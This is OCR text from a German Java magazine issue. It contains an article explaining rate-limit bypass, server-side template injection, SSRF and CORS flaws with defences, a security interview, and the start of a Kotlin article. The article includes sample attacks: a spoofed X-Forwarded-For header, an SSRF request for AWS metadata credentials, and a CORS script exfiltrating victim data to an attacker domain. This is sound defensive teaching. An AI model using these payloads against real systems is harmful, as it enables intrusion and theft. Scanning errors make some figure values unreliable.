Content-Type: text/html; charset=utf-8
Content -Length: 34

ETag: W/"22-pKf21LHLRtt7tz87U0fXryoVL/s"
Vary: Accept-Encoding

Connection: close

T

Wrong answer to security question.

Abbildung 1: Burp-Proxy mit Anfrage (Request) links und Antwort (Response) rechts (Quelle: Frank Ully)
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Eine verbreitete SchutzmaBnahme neben CAPTCHAs ist das Rate
Limiting /6/ — auf Deutsch Ratenbegrenzung: \Wenn von einer ein-
zelnen IP-Adresse, im Kontext eines Accounts oder innerhalb einer
Session zu viele Anfragen in einer bestimmten Zeit gestellt werden,
ignoriert die Anwendung weitere Versuche und antwortet mit dem
Statuscode 429: Too Many Requests. Meist senden Endpunkte mit
Ratenbegrenzung auch Antwort-Header wie X-RatelLimit-Limit
und X-RatelLimit-Remaining, die Uber konfigurierte Grenzen und
verbleibende Versuche informieren, wie in Abbildung 2 dargestellt.

Doch auch wenn ein Rate-Limiting-Mechanismus implementiert
ist, etwa weil dafiir eine Security-Drittbibliothek eingebunden wur-
de, kann dieser ofter als gedacht umgangen werden. Header wie
X-Forwarded-For [/] werden normalerweise von Infrastruktur-
komponenten wie Reverse Proxys gesetzt, die damit der Anwen-
dung die eigentliche IP-Adresse einer Anfrage mitteilen. Aber nichts
hindert einen Angreifer daran, einen solchen Header in einer Anfrage
selbst einzufligen, zum Beispiel X-Forwarded-For: 127.0.0.1 in
einem Interception Proxy. Vertraut die Anwendung diesen Angaben,
lasst sich die Ratenbegrenzung einfach umgehen (siehe Abbildung 3).

Dadurch ist die Anwendung wieder anfallig fir Denial-of-Service-
(DoS) und Brute-Force-Angriffe. Schlimmer noch: Ein Angreifer kann
den Rate-Limiting-Mechanismus selbst fiir DoS missbrauchen,
wenn er im Header IP-Adressen eintragt, durch die Organisationen
oder Einzelpersonen auf das Internet und damit die Anwendung zu-
greifen — und diese damit aussperren.

Anfallig fir Manipulationen dieser Art sind nicht nur weitere Header
in Bezug auf die Quelle einer Anfrage wie True-Client-IP, sondern
auch Header bezlglich des Ziels einer Anfrage, etwa X-Forwarded-
Host. Durch blindes Vertrauen in Ziel-bezogene Header entstehen
Schwachstellen wie Web Cache Poisoning /8.

Entdeckt werden kénnen solche Licken durch automatisierte und
manuelle Tests, in denen diese Header gezielt eingefligt werden
und beobachtet wird, ob sich das Antwortverhalten der Anwendung
dndert. Solche anfalligen Konfigurationen sind auch in verbreiteten
Rate-Limiting-Bibliotheken zu finden. Ursachlich ist hier also so-
wohl der Grundsatz ,traue niemals Benutzereingaben” missachtet
worden wie auch ,kenne und priife deine Abhangigkeiten”.

Server-Side Template Injection (SSTI)

Injektionen sind der erste Punkt der regularen Top-10-Liste.
Solche Schwachstellen entstehen dann, wenn ein Angreifer un-
gehindert bosartige Daten an die Anwendung senden kann, die
unverandert von einem Interpreter verarbeitet werden. Die be-
kannteste Art sind SQL-Injections, mit denen Datenbankabfragen
manipuliert werden kdnnen; die Top 10 erwahnt aber auch Injek-
tionen fiir NoSQL, Betriebssystemkommandos oder XML-Techno-
logien wie XPath /9].

Weniger bekannt hingegen ist, dass eine Anwendung auch von In-
jektionen in anderen und in der modernen Webentwicklung ver-
breiteten Komponenten wie Templates betroffen sein kann. Tem-
plates dienen dazu, HTML-Seiten einfacher zu gestalten, indem
statische Vorlagendateien mit Platzhaltern zur Laufzeit mit den
eigentlichen Werten beflillt werden; dadurch sind Programmlogik
und Prasentationsschicht einer Webanwendung besser getrennt.

Java aktuell 01/20

POST fapi/fuserflogin HTTR/1.1

Host: app.beispiel.de

Content-Type: application/jsen

HTTP/1.1 208 0K
X-RateLimit-Limit: 20
¥-RateLimit-Remaining: 18
X-RateLimit-Reset: 1548158841
Content-Type: application/json;
charset=utf-8

{"loginid": "test@2consult,ch”,
“"password" : "abcdefgh”}

{"success”:false,
“message”:"Invalid Password",
“reasonCode”:"01",
“data";{"bearer":"",
“user”:{},"expiresat”:false}}

———————— L = L Y

Abbildung 2: Anfrage und Antwort mit Rate-Limiting-Headern
(Quelle: Frank Ully)

Verbreitete Template-Sprachen sind FreeMarker oder Velocity un-
ter Java; Jade unter Node.js und Jinja2 unter Python.

Werden jedoch Benutzereingaben ungepriift direkt in ein server-
seitiges Template ibernommen, kann ein Angreifer unter Umstan-
den selbst Ausdricke in der jeweiligen Template-Sprache formu-
lieren — es entsteht eine Server-Side Template Injection (SSTI) /70].
Durch sie kann der Angreifer den internen Zustand der Anwendung
auslesen und manipulieren oder seine Privilegien erweitern — im
schlimmsten Fall direkt Code auf dem Server im Kontext der An-
wendung ausfihren.

Gefunden werden konnen SSTIs zum Beispiel, indem in Eingabefel-
der, die in Templates wieder ausgegeben werden, Ausdriicke mit den
jeweiligen Metazeichen eingefligt werden, beispielsweise { {3+3} }.
Gibt der Server als Antwort ,6" zurlick, wurde der Ausdruck von der
Anwendung interpretiert, wie in Abbildung 4 gezeigt.

In manchen Fallen kann eine urspriinglich als Cross-Site Scripting
(XSS) entdeckte und klassifizierte Schwachstelle eigentlich eine
Form von SSTI sein. Auch Werkzeuge wie Tplmap /77/ - benannt in

POST /fapifuser/login HITR/1.1
Host: app.beispiel.de
X-Forwarded-For: 127.8.8.1
Content-Type: application/jsen

HTTP/1.1 280 0K
X-RateLimit-Limit: 2@
X-RateLimit-Remaining: 19
X-Ratelimit-Reset: 1548150841
Content-Type: application/json;

{"loginId": "test@2consult.ch”,
"password”: "abcdefghi®}

charset=utf-8

{"success”:false,
“message”:"Invalid Password”,
“reasonCode”:"81",
"data":{"bearer":"",
"user”:{},"expiresat":false}}

premm——————_ X —.L "~ Y

Abbildung 3: Anfrage mit eingefligtem X-Forwarded-For Header
(Quelle: Frank Ully)
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Anlehnung an das bekannte SQLmap flr SQL-Injections — helfen
beim Finden und Ausnutzen von Schwachstellen in Templates.

Entwickler verhindern Injektionen in Templates, indem sie die Kor-
rektheit von Benutzereingaben uber eine strikte Eingabevalidierung
prifen und Metazeichen entfernen sowie Funktionen zur Interpre-
tation von Template-Ausdriicken niemals mehrfach aufrufen. Bei
besonders hohen Sicherheitsanforderungen empfiehlt es sich, die
Template-Umgebung in einem gut geharteten Docker Container
[72]vom Rest der Anwendung zu trennen.

Ebenfalls von Injections betroffen sein kann Client-seitiges Temp-
lating /73/in Frameworks wie React oder Angular. Hier wird jedoch
im schlimmsten Fall nicht Code auf dem betroffenen Server ausge-
fuhrt, sondern JavaScript (XSS) im Browser des Opfers.

Server-Side Request Forgery (SSRF)

Was hat es mit Server-Side Request Forgery (SSRF) /74]auf sich?
Ursache dieser Schwachstelle ist, dass eine Anwendung einen
Request ausfiihrt, der als Folge eine interne oder externe Res-
source aufruft und dessen Ziel der Benutzer ganz oder teilweise
vorgeben kann.

Das ist heutzutage nichts Ungewdhnliches — viele Anwendungen
oder Schnittstellen nehmen in der Anfrage direkt eine URL entge-
gen und tun etwas damit, Uiberprifen beispielsweise den angege-
benen Link oder erzeugen aus einem Bildpfad ein Vorschaubild. In
anderen Fallen leiten sie Teile einer Anfrage an andere Systeme
weiter, etwa zur Authentifizierung oder zum Monitoring (siehe
Abbildung 5) — oder an ein Zahlungs-Gateway oder ein anderes
externes APl im Hintergrund.

Oft bestehen dabei Vertrauensbeziehungen, weil Server sich selbst
und anderen Systemen im selben Netzwerk vertrauen. Nutzen An-
greifer dies aus, konnen sie somit: Firewalls umgehen und aus dem
Internet Dienste erreichen, die eigentlich nur auf dem lokalen Host
oder im internen Netz verfligbar sind; das entfernte Netzwerk scan-
nen; sensible interne Daten auslesen. Gegebenenfalls sind sogar
reflektierte XSS-Angriffe oder das Ausfiihren von Code auf einem
Server moglich.

In einer Cloud-Umgebung kann SSRF sehr kritisch sein. Wie in
Abbildung 6 gezeigt, konnen zum Beispiel ber Metadaten-URLs
wie http://169.254.169.254/1atest/user-data unter Um-
standen direkt Zugangsdaten abgefragt werden /[75].

Entdeckt werden kann SSRF durch automatisierte Werkzeuge wie
den Collaborator /76/ des kostenpflichtigen Burp-Proxy. Manuell
kann es gefunden werden, indem tberprift wird, ob ein Wert eines
Request ganz oder teilweise an andere Systeme weitergeleitet wird
und dabei manipuliert werden kann. Ebenfalls hilft ein Blick in die
ausgehenden Firewall-Logs des Servers, um ungewdohnliche Ziele
von Anfragen zu entdecken.

Eine unwirksame Schutzmal3nahme gegen SSRF ist Blacklisting,
also das Blockieren von mutmaBlich bosartigen Eingaben, die zum
Beispiel 127.0.0.1 oder Tocalhost enthalten. Jedoch lassen sich
IP-Adressen auf unterschiedliche Weise darstellen /77), beispiels-
weise abgekirzt als 127.1, in Dezimalnotation 2130706433 oder
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User Profile

Username:

Email:

Sef Usermame

Abbildung 4: Server-Side Template Injection (Quelle: Frank Ully)

pOST /api/getBackendState HTTP/1.1
Host: app.beispiel.de
Authorization: Bearer ..
Content-Type: application/jsen

"url":
"hltp‘.;".-"182.192Jﬁl.lGHhealtn" HTTP/1.1 200 OK
} Content-Type: application/json;
charset=utf-8

“state”: "OK",
“uptime”: 34590234,
"storage": 80

}

Abbildung 5: Anfrage mit externer URL, potenziell anfdllig fur Server-
Side Request Forgery (Quelle: Frank Ully)

POST /api/getBackendState HTTR/1.1
Host: app.beispiel.de
tuthorization: Bearer
Content-Type: application/json

0
“http://169.254.169.254/
latest/meta-data/iam/
security-credentials/Role”

}

HTTP/1,1 200 OK
Content-Type: application/json;
charset=utf-8

{

Rl
"Type" : “AWS-HMAC",
“AccesskeyId" : "[KEYID]",
“secretAccessKey™ @ "[KEY]",

“Token" : "[TOKEN]", ...

}

e ————_ L ]

Abbildung 6: Anfrage mit veréinderter URL, Server-Side Request Forgery
wurde ausgenutzt (Quelle: Frank Ully)

hexadezimal 0x7F000001. Dartber hinaus kann auch ein entspre-
chend konfigurierter Domainname wie 9z1hb.xip. 10 als aufgelos-
te IP-Adresse 127.0.0. 1 zurickmelden.
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Zur Pravention von SSRF ist es wie immer wichtig, die vom Be-
nutzer — oder Angreifer — gelieferten Daten so zu validieren, dass
nur erwartete Werte akzeptiert werden, zum Beispiel ber ent-
sprechende MaBnahmen fir Eingabevalidierung /78], Idealerweise
findet jedoch ein Whitelisting statt: Explizit erlaubt ist nur der Zu-
griff auf eine Liste mit bekannten Ressourcen — nicht nur bezogen
auf Hostnamen, sondern auch auf Protokoll und Port. Als weiterer
Schutz kénnen Firewall-Regeln fiir ausgehenden Verkehr dienen,
die einschranken, mit welchen entfernten Servern und auch mit
welchen Ports auf dem lokalen System(!) die Anwendung kommu-
nizieren kann. SchlieB3lich sollten alle Dienste in einem Netzwerk,
wie Monitoring-Tools oder Admin-Oberflachen, immer mit einer
Anmeldemaske gesichert sein.

Cross-Origin Resource Sharing (CORS)
Normalerweise sind Webanwendungen von der Same Origin Policy
(SOP) [ 79] geschiitzt, die vom Browser durchgesetzt wird.

Die SOP erlaubt Client-seitigen Skriptsprachen wie JavaScript nur
dann uneingeschrankten Zugriff auf Daten in einer zweiten Web-
seite, wenn beide vom selben Ursprung (Englisch: Origin) stammen.
Zwei Webseiten oder Ressourcen haben dann denselben Ursprung,
wenn Protokoll, Domain und Port (bereinstimmen. Beispielswei-
se kann ein unter https://beispiel.de/verzeichnisl einge-
bettetes JavaScript auf Elemente unter https://beispiel.de/
verzeichnis?2 zugreifen, nicht aber auf https://beispiel.de/,
weil hier eine andere Domain steht.

Cross-Origin Resource Sharing (CORS) /20] ist ein Mechanismus,

um die Same Origin Policy gezielt aufzuweichen, und erlaubt tber
den Browser Kommunikation zwischen Webanwendungen, die auf

keinbeispiel.de

unterschiedlichen Origins laufen. CORS als neuerer Standard wurde
notwendig, weil mit moderner Microservice-Architektur und exter-
nen APIs Zugriffe auf entfernte Ressourcen zunehmen und andern-
falls nur mit eher unschénen Abhilfen moglich sind.

Dazu verwendet CORS Header. Der Origin-Header wird bei
Cross-Origin Requests vom Browser oder Client selbst gesetzt.
Die Webanwendung kann nun mit Access-Control-Allow-
Headern antworten und damit dem Client signalisieren, woher
(Access-Control-Allow-0rigin) welche HTTP-Methoden
(Access-Control-AlTow-Methods) erlaubt sind, welche Header
in der Anfrage enthalten sein dirfen (Access-Control-Allow-
Headers) und ob der Client vorhandene Credentials tber Cookies
oder HTTP-Authentifizierung mitsenden soll (Access-Control-
Allow-Credentials).

Anfdllig /27] wird eine Webanwendung nun, wenn sie blindlings
jeden empfangenen 0rigin-Anfrage-Header im Antwort-Header
Access-Control-Allow-0rigin reflektiert und zudem in der
Antwort den Header Access-Control-Allow-Credentials: True
setzt. In diesem Fall kann ein bosartiges JavaScript von der Domain
eines Angreifers, die ein Opfer ansurft, auf einer verwundbaren
Webanwendung oder APlim Namen des dort angemeldeten Opfers
Aktionen durchfiihren. Aber auch in subtileren Fallen bestehen
Gefahren: Wenn das nul1-Origin erlaubt ist oder das Origin nur
in Bruchsticken validiert wird und etwa — statt der Domain
beispiel.de - keinbeispiel.de als erlaubter Ursprung ange-
sehen wird (siehe Abbildung 7).

Auch Anwendungen ohne Access-Control-Allow-Credentials
sind moglicherweise anfallig, wenn als Origin die Wildcard * oder

beispiel.de
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var xhr = new XMLHttpRequest();
xhr.open('GET’,
‘https://beispiel.de/data,
true);
xhr.withCredentials = true;
xhr.onload = function () {
location = '//keinbeispiel.de/log?
response=" + xhr.responseText;
};
xhr.send();

JA: untersucht
m——  CORS Header:
erlauben? e

Browser gibt
Daten an Skript

N

NEIN:
Browser gibt
Antwort nicht

weiter

/

GET /data HTTP/1.1

Host: beispiel.de

Origin: https://keinbeispiel.de/
Cookie: JWT=...

sendet bosartige Anfrage

e Mit COOkies uNd Origin Header 7
e gibt geheime Daten

und CORS Header zurlick

HTTP/1.1 280 OK

Access-Control-Allow-Origin:
https://keinbeispiel.de

Access-Control-Allow-Credentials:
true

{"id":12345, "name"”:"Tom",
“surname": "Kummer", "account":98765}

Quelle: https://www.bedefended.com/papers/cors-security-guide

Abbildung 7: Schematischer Ablauf der Ausnutzung einer Schwachstelle im Cross-Origin Resource Sharing (in Anlehnung an [21])
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null erlaubt sind oder der Origin nur unzureichend Gberpriift und
dann reflektiert wird — zum Beispiel fiir das Umgehen von IP-Be-
schrankungen oder Client-Side Cache Poisoning.

Man kann solche Schwachstellen finden, indem man mit einem
Proxy in Anfragen einen Origin-Header einflgt und wie zuvor
beschrieben verandert. Auch automatisierte Werkzeuge wie COR-
Scanner /22]helfen dabei, Fehlkonfigurationen aufzudecken.

Haufig sind CORS-Einstellungen in Frameworks fehlerhaft. VVerhin-
dern kann man solche Schwachstellen oft schon, indem man die
Standard-Konfigurationen tberprift und CORS nur aktiviert wird,
wenn es wirklich bendétigt wird. Dann sollte das Origin gegen eine
Whitelist strikt gepriift werden — und nicht mit regularen Ausdri-
cken. Weitere MalRnahmen wie das Einschranken der erlaubten
Methoden in Access-Control-Allow-Methods oder das Setzen
des Headers Vary: Originerhohen die Sicherheit zusatzlich.

OAuth und JWT -

weitere Quellen unbekannterer Schwachstellen

Es gibt noch zahlreiche weitere unbekanntere und durchaus kri-
tische Schwachstellenarten. Besonders hervorzuheben sind
Schwachstellen in neueren, als besonders sicher angesehenen Au-
thentifizierungsmechanismen wie OAuth 2.0 /23/und beim Einsatz
von JSON Web Token (JWT) [24] statt normaler Sitzungstoken. Sind
JWT unzureichend kryptographisch gesichert oder die Implementie-
rung oder Konfiguration ihrer Prifung fehlerhaft, kénnen Angreifer
Daten fir Authentifizierung und Autorisierung manipulieren und so
ihre Privilegien erweitern. Dagegen schiitzen konnen sich Entwick-
ler beispielsweise, indem sie die ,Best Current Practices” zu OAuth
[25]und JWT /26]beriicksichtigen. Diese sind derzeit allerdings noch
im Entwurfsstadium.

Websicherheit grundsatzlich —

weiterfiihrende Quellen

Wie oben beschrieben, beleuchten die OWASP Top 10 - und auch
dieser Artikel — nur schlaglichtartig einzelne Schwachstellen. Eine
Veroffentlichung, die sich systematisch dem Entwickeln von siche-
ren Webanwendungen widmet, ist der ,Application Security Verifi-
cation Standard” (ASVS) /27]. Er gibt in verschiedenen Kategorien
detaillierte Sicherheitsanforderungen fiir Anwendungen vor, die von
Stakeholdern genutzt werden konnen, um zu bestimmen, was eine
sicher entwickelte Anwendung ist und wie das erreicht und getestet
werden kann.

Der ,OWASP Testing Guide” /28] beschreibt ein umfassendes
Framework flir Penetrationstests, das Organisationen an ihre
Bedirfnisse anpassen konnen, und enthdlt einen detaillierten
und sehr technischen Leitfaden, anhand dessen Tester einzelne
Sicherheitsprobleme aufdecken konnen. Wahrend der Testing
Guide die Uberpriifung von Webanwendungen in Grey-Box-Sze-
narien beschreibt, also mit nur teilweise verfligbaren Informati-
onen, gibt der ,Code Review Guide” /29/Hinweise, wie bei White-
Box-Analysen mit vorliegendem Quelltext Licken gefunden
werden konnen.

Analog zu den Top 10 mit deren Blick auf Schwachstellen aus

Sicht der Angreifer beschreiben die ,Top 10 Proactive Controls”
[30] aus Sicht der Verteidiger, welche SicherheitsmaRnahmen
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Anwendungen in jedem Fall enthalten sollten. Zu jedem Punkt —
unter anderem Eingabevalidierung und Ausgabekodierung, Ver-
schlisselung und Zugriffskontrolle — wird dargestellt, was dar-
unter zu verstehen ist, wie er umgesetzt werden konnte, welche
Schwachstellen dadurch verhindert werden und welche Tools
und Quellen dabei helfen.

Selbst ausprobieren -

Werkzeuge und Anwendungen

Am einfachsten lernt man durchs Machen. Um sich eine Ubungsum-
gebung fiir einfache bis fortgeschrittene Webapp-Lucken einzurich-
ten, egal ob man Projektleiter, Entwickler oder Tester ist, bietet sich
eine Kombination von Interception Proxy und absichtlich verwund-
barer Software an.

OWASP bietet den kostenfreien Zed Attack Proxy (ZAP) an [37],
der teilweise auch automatisiert Schwachstellen findet. Als Al-
ternative kann der Burp-Proxy in der kostenlosen Community
Edition /5/dienen, mit allerdings deutlich eingeschranktem Funk-
tionsumfang.

Ziel der Ubungsangriffe ist am besten eine Webanwendung, in die
mit Vorsatz Liicken eingebaut wurden. Davon gibt es inzwischen
eine unubersehbare Menge — entweder lokal als Installationspaket,
virtuelle Maschine oder Docker-Image /32] eingesetzt oder direkt
online im Internet /33].

Hervorzuheben ist der ,OWASP Juice Shop" /34], der lokal wie auch
in Cloud-Umgebungen vielfaltig installiert werden kann. Dieser
sprichwortliche Saftladen ist nach modernem Ansatz als JavaScript-
lastige Frontend-Anwendung (Angular) entwickelt, die auf REST-
APIs (Node.js mit Express) zugreift. Der Juice Shop wird regelmaRig
mit aktuellen Schwachstellen bestiickt, etwa im Zuge des ,Google
Summer of Code”. Er bietet eine sehr umfangreiche Dokumentati-
on /35], die hilft, das Anzapfen des Saftladens vorzubereiten und
Schwachstellen systematisch zu finden, und enthalt zudem einen
ausfihrlichen Lésungsleitfaden.
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Unternehmen werden noch
abhangiger von Daten sein

Der Fachinformatiker Tobias Schrédel ist Entertainer,
Buchautor und gefragter TV-Experte. In einer
Mischung aus Informationsvortrag und Unterhaltung
demonstriert er auf Konferenzen, wie sicher unsere
Daten und Gerdite im Internet und in Clouds wirklich
sind. In unserem Interview mit Schrddel geht es um
den Sicherheitsfaktor Mensch und die Frage, warum
die Investitionen in IT-Sicherheit flir Unternehmen
zuklinftig nicht geringer werden.

Herr Schrodel, welche ist denn Ihre Lieblings-Sicherheitsliicke?

Tobias Schrodel: Ich habe sogar zwei. Es gibt einen kleinen Trick, wie
man zumindest bei nicht IP-basierten Hotel-Videosystemen kos-
tenlos den Pay-TV-Kanal gucken kann. Und wenn ich das in meinen
\ortragen zeige, ist die Stimmung eigentlich immer sehr gut und die
Leute fangen an, mitzuschreiben, wie das funktioniert. Leider gibt
es heutzutage kaum noch solche Systeme. Die zweite Lieblingslu-
cke ist das Caller-ID-Spoofing. Dabei lasse ich bei einem Anruf eine
beliebige Absendernummer im Display anzeigen. Das kommt selbst
abends beim Bier noch gut an, wenn ich jemanden mit seiner Biro-
nummer anrufe, wenn da garantiert niemand mehr sitzt.

Welche sind denn die am hdufigsten genutzten Sicherheitsliicken?
Tobias Schrodel: Es ist schwierig, das allgemein zu sagen, weil es

natdrlich darauf ankommt, um welche Art von Angriff es sich han-
delt. Ist es ein gezielter Angriff, dann wird der Angreifer sicher an-
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dere Wege als bei einem Zufallsopfer beschreiten. Beobachtet man
Presse- und Polizeimeldungen, ist es aber tatsachlich so, dass Ran-
somware — also Erpresser-Viren — immer noch mit Abstand am
meisten Schaden anrichten. Dafiir zahlen die Leute am meisten.

Google hat einmal verkiindet, das Passwort abschaffen zu wollen. Uiber eine
Schnittstelle sollen Gerdte zu jeder Zeit Daten speichern und auswerten, zum
Beispiel iiber den Standort und das Stimmmuster oder die Gesichtserkennung.
Passwirter sind hdufig ein Schwachpunkt wenn es um [T-Sicherheit geht
Miissten daher nicht alle Sicherheitsexperten tiber Googles Pléne froh sein?

Tobias Schrddel: Sie haben natirlich vollig recht. Man ware froh,
wenn es eine akzeptierte und verbreitete Alternative zum Pass-
wort gabe. Das Passwort fiihrt gerade bei nicht-IT-affinen Men-
schen immer wieder zu Problemen. Entweder weil sie es vergessen
oder einfach ein schwaches Passwort wahlen. Ich denke, dass der
geplante Google-Login-Mechanismus technisch wunderbar funkti-
onieren wird. Offensichtlich kombiniert er viele kdrpereigene Merk-
male, sodass es statistisch gesehen sehr unwahrscheinlich ist, dass
diese auf einen Angreifer zutreffen. Das ist mit der Sicherheit eines
Passworts gleichzusetzen. Aber auf der anderen Seite heil3t das,
dass Google so viele personenbezogene Merkmale meines Korpers
speichern und auch auswerten kann, dass auch ganz andere Riick-
schliisse gezogen werden konnen. Zum Beispiel, sofern diese Da-
ten es hergeben, ob ich einen Herzfehler habe. Und da bin ich dann
schon wieder kritisch, ob Google der richtige Ansprechpartner ist.
Ich personlich setze lieber auf FIDO2, das ohne biometrische Merk-
male auskommt. Wenn sich das System durchsetzt, brauchen wir
bei vorher definierten Seiten gar kein Passwort mehr, wenn wir zum
Beispiel unser Handy oder einen Token dabeihaben.
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Immer mehr Menschen und Unternehmen nutzen Cloud-Speicher und
vertrauen ihre Daten Datenbanken und Administratoren an. Warum ist
es aber praktisch unmoglich, fiir absolute Datensicherheit zu sorgen?

Tobias Schrodel: Grundsatzlich ist es so: Wo Technik im Einsatz ist,
wird es immer wieder Liicken geben, weil kein System fehlerfrei sein
kann. Und wo Menschen beteiligt sind, werden auch Fehler gemacht.
Das heil3t, wir haben potenziell immer eine Licke oder ein Problem,
das theoretisch ausgenutzt werden kann. Die Frage ist, ob man sich
nicht anders schiitzt, indem man Angriffe sofort erkennt oder die
Mauer so hoch setzt, dass es nicht einfach wird, reinzukommen.

Sie erwdhnten gerade den Menschen als Faktor, wenn es um IT-Sicher-
heit geht. Ist der Mensch denn die Schwachstelle?

Tobias Schrodel: Ehrlich gesagt: ja. Und zwar, weil unsere Systeme
immer besser werden, ausgekllgelter arbeiten und Anomalien er-
kennen. Deswegen ist es fir einen Angreifer auch durchaus interes-
sant, einfach auf Personen zu zielen. Man darf eines nicht vergessen:
Es gibt ja nicht nur die Administratoren, die sich auskennen und sehr
bewusst arbeiten. Um mit Informationen und Daten arbeiten zu kon-
nen, brauchen auch normale Anwender Zugriff auf die Systeme und
die sind oft anders ausgebildet, buchhalterisch zum Beispiel. Diese
Leute auf Glatteis zu flhren ist deutlich einfacher und - da sie ja
auch Zugriff auf Daten haben — sehr effektiv. Ja, ich glaube, dass
deswegen der Mensch eine der interessantesten Angriffsflachen ist
und die Technik immer weiter in den Hintergrund riickt.

Wird denn in Unternehmen zu wenig Weiterbildung angeboten, zum
Beispiel in Awareness-Schulungen?

Tobias Schrddel: Es ware ja blod, wenn ich sagen wiirde, dass dies
nicht der Fall ware. Ich lebe ja schlieBlich von Awareness-Trainings
(lacht). Also natiirlich glaube ich, dass ein entsprechendes Training
von Personen sehr wichtig ist, denn es ist vergleichsweise glinstig.
Eine neue Technik, zum Beispiel ein komplett neues Firewall-Sys-
tem, ist meines Erachtens viel teurer, als wenn man seine Mitar-
beiter einmal zu einem zweistiindigen Awareness-Training schickt.
Es ist schon sehr viel gewonnen, wenn die Mitarbeiter selbst in der
Lage sind, Angriffe zu erkennen. Sie sollen ja nicht lernen, sie zu
verhindern, sondern die IT informieren, wenn ihnen etwas komisch
vorkommt oder sie irgendetwas nicht verstehen. Die IT-Abteilungen
mussen dann priifen, ob es sich um einen Angriff handelt.

Auf der anderen Seite wird bereits immer mehr Arbeitszeit in den Auf-
bau und Betrieb von IT-Sicherheit investiert. Ist das ein Trend, an den
sich groBe Unternehmen gewdohnen miissen?

Tobias Schrddel: Ja, ich denke schon. Das lasst sich nicht andern,
und zwar aus einem einfachen Grund: Unternehmen werden viel
abhangiger von Daten und deren Verarbeitung sein. Es gibt fast kein
Unternehmen mehr, das ohne IT auskame. Und wenn die IT ausfal-
len wiirde, wirde erst einmal zwei Tage alles stillstehen, bis man
mit einem Notfallplan wieder die Arbeit aufnehmen kann. Das hat
ja der Verschlisselungstrojaner Locki gezeigt, der zum Beispiel die
IT des Lukas-Krankenhauses in Neuss befallen hat. Oder ganz aktu-
ell EMOTET, der Virus ist schon langer bekannt, legt aber trotzdem
reihenweise und fast taglich Behorden und Firmen auf der ganzen
Welt lahm.
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Heutzutage ist ja praktisch jeder online und durch soziale Netzwerke
vernetzt Sei es nun iiber Smartphones, Tablets oder den PC. Hinzu kom-
men SmartHome-Technologien wie Licht- und Heizungssteuerung per
App. Werden kriminelle Hacker es in Zukunft einfacher haben, Schaden
anzurichten und an sensible Informationen zu gelangen?

Tobias Schrddel: Schaden anrichten ja, an sensible Informationen
gelangen, vielleicht. Wenn Sie heute die Suchmaschine fir smarte
Gerate — Shodan — nehmen und sich dort mal durchklicken, dann
wird lhnen schwindelig, was da schon alles vernetzt ist und was
jetzt schon offen im Internet erreichbar ist. Ja, das wird ein gro-
Res Problem werden - nicht nur weil die Leute unbedacht sind
und irgendwelche Sachen ohne Passwort ins Netz stellen und
erreichbar machen, sondern auch, weil wir einfach keine Update-
Philosophie haben. Wer denkt denn daran, seinen Lichtschalter
oder Kuihlschrank upzudaten? Da kommen wir ja irgendwann da-
hin, dass ich 80 bis 90 Gerate updaten muss. Das macht ja kein
Mensch. Problematisch wird das Internet der Dinge aber auch
deshalb, weil wir uns noch gar nicht vorstellen kénnen, wo dann
Uberall Risiken lauern. Eine smarte Glihbirne, die ein Hacker in
einer Leselampe ausschalten kann, ist sicherlich nur argerlich. Ist
diese Glihbirne aber das Rotlicht einer Ampel, dann ist sie plotz-
lich potenziell lebensgefahrlich.

Welche Trends im Sicherheitsbereich sehen Sie denn fiir die ndchsten
Jahre?

Tobias Schraddel: Ich glaube, dass sich Erpresser-Software und das
Verschlisseln von Daten auf Rechnern noch ganz massiv bei uns
einnisten werden. Es fangt beim Smartphone an und wird tiber das
Internet der Dinge weitergehen. Wenn Sie zum Beispiel in der Zu-
kunft ein Auto haben, das per Software gesteuert fahrt, dann wird
auch dortirgendwann ein Erpresser mit Ransomware kommen. Und
wenn man dann nicht 500 Euro tberweist, dann fahrt das Auto nur
noch 60 km/h und nicht schneller. Das ist ja das Problem an dieser
ganzen Ransomware: Die verlangen in der Regel nur kleinere Betra-
ge, weil die Leute in der Lage sind, genau das zu bezahlen, um ihre
Daten wiederzubekommen.

Ganz anders der bereits erwahnte EMOTET. Da langen die Erpres-
ser richtig zu, fordern teilweise hohe fiinf- oder gar sechsstellige
Betrage, wenn sie groRBe Firmen oder Landkreise erwischen und
lahmlegen. Die Stadt Baltimore hat durch einen solchen Angriff
einen Schaden von 16 Millionen Dollar gehabt. Sie haben auf Anra-
ten des FBI lieber neue Systeme gekauft, anstatt den VVerbrechern
knapp 100.000 US-Dollar zu zahlen. Es sei namlich nicht sicher,
ob die Erpresser die Systeme wirklich wieder freigegeben hatten.
Ich unterstitze das natdrlich auch nicht, aber ich personlich glau-
be, dass die Stadt Baltimore da schlecht beraten wurde. Wahr-
scheinlich hat ihnen keiner gesagt hat, dass eine Polizeibehorde
niemals dazu raten wird, Erpressern Geld zu zahlen. Ich gehe aber
jede Wette ein, dass die Erpresser die Daten freigegeben hatten.
Schon aus wirtschaftlicher Sicht. Wenn sich das namlich herum-
spricht, dass man seine Daten nach der Zahlung wiederbekommt,
dann zahlen zukiinftige Opfer deutlich schneller. Andersrum aber
niemand mehr.

Vielen Dank fiir das Interview, Tobias!
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Sharing is caring oder geteilte
Freude ist doppelte Freude

Michal Harakal

Laut aktueller Zahlen von Google sind liber eine Millionen Apps fiir Android-Gerdite verfligbar. Die Zahlen im
App Store von Apple sind mit liber zwei Millionen Apps noch héher. Auch die Anzahl der Entwickler ist in der
letzten Zeit enorm gestiegen. Aber nicht nur Plattformen und Entwickler konkurrieren untereinander, sondern
auch die Art und Weise, wie Apps entwickelt werden. Angefangen mit unterschiedlichen Bibliotheken (mit
Picasso, Fresco, Glide und Coil gibt es bereits vier fiir Android, die sich nur um Image Loading kiimmern), (iber
Design Patterns (MVP, MVVM oder MVI) bis hin zu kompletten Frameworks wie React Nativ oder Flutter — alle
haben nur ein Ziel: Schnell und einfach qualitativ hochwertige Apps an die Nutzer bringen.
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I m Bereich mobiler Apps ist man von Anfang an auf der Suche
nach dem perfekten Weg. Angefangen mit HTML5-basierten
Web-Apps (Cordova, lonic), mit schwergewichtigen Cross Platform
Frameworks wie Xamarin, bis bin zu hybriden Ansatzen wie React
Native, Vue Native oder Flutter. Als eine ernstzunehmende Alterna-
tive zeichnet sich Codesharing mit Kotlin in Multiplattform-Projek-
ten ab, wo in Kotlin geschriebener Code auf unterschiedlichen Platt-
formen wiederverwendet werden kann. Der Fokus liegt auf dem
Code, der keine oder geringe Abhangigkeiten auf der Plattform hat.
Ublicherweise handelt es sich um Fachlogik, Daten-Modelle und so-
gar Netzwerkkommunikation oder lokale Datenhaltung in Dateien
oder in einer Datenbank.

Kotlin

